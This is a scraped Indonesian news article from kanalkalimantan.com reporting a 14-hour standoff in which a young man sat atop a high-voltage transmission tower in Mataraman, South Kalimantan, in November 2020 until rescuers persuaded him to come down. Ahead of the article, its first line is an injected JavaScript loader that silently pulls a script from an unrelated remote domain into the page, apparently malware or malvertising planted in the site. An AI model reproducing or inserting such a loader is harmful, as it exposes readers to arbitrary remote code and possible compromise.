(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Drama 14 jam seorang lelaki berada di atas tower saluran udara tegangan ekstra tinggi alias sutet berakhir, meski begitu motif kenapa MY berada di ketinggian itu masih menjadi misteri. Upaya petugas membujuk MY yang ternyata seorang santri di salah satu pondok pesantren di Kabupaten Hulu Sungai Tengah itu, turun dari atas tower sutet membuahkan hasil, pada Rabu (11/11/2020) sekitar pukul 10:00 Wita.
Diketahui pelaku pemanjat sutet tersebut ialah MY (23) warga Bahaur, Kabupaten Pulang Pisau, Provinsi Kalimantan Tengah.
Dari keterangan seorang saksi Yeni, penjual kelapa muda di jalan A Yani Km 60, Desa Mataraman, Kecamatan Mataraman, Kabupaten Banjar, mengatakan, dirinya dihampiri pelaku yang ingin meminta kelapa muda, kemudian pelaku membelah kelapa muda tersebut dengan pisau lipat. Kemudian MY pergi dan meninggalkan sepeda motornya dalam keadaan kunci kontak yang masih menempel.
Sementara itu Mahyadi, saksi kedua melihat ada seseorang lelaki yang tak dikenal sudah berada di atas sutet yang terletak di RT 03 RW 02 Desa Mataraman, Kecamatan Mataraman.
Dari keterangan Kanit Reskrim Polsek Mataraman Ipda Endar, pada Selasa (10/11/2020) sekitar pukul 22:00 Wita, tiga orang dari Tim Basarnas Banjarmasin berupaya menemui pelaku dan terjadi komunikasi, dimana pelaku meminta tuntutan yakni bersedia turun jika lokasi di bawah dan sekitar sutet kosong dari kehadiran warga. MY sempat minta disediakan ambulans yang harus standby mengantar dirinya menemui keluarganya.
Petugas Rescue Basarnas Banjarmasin yang berupaya melakukan evakuasi dan negosiasi ditolak mentah-mentah oleh MY saat diminta turun. Sejatinya tim evakuasi dari Basarnas Banjarmasin mencoba menuruti semua permintaan pria tersebut.
Namun, pria tersebut masih enggan untuk turun dari tower sutet hingga dini hari.
Ia juga menjelaskan, pada pukul 03.00 dini hari, orangtua MY dan kedua kakaknya telah datang di lokasi sutet, dan berusaha mengajak turun MY, namun MY tetap tidak mau turun.
Hingga pada Rabu (11/11/2020) sekitar pukul 10:00 Wita, upaya pendekatan petugas tim SAR Brimob berbuah manis, MY akhirnya turun dengan sendiri. MY saat ini diamankan di Mapolsek Mataraman guna proses lebih lanjut.
“Hingga saat ini motif MY naik ke atas tower sutet belum diketahui. Pelaku tidak bisa diajak komunikasi soal motif naik tower,” pungkas Iptu Endar. (kanalkalimantan.com/wahyu)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.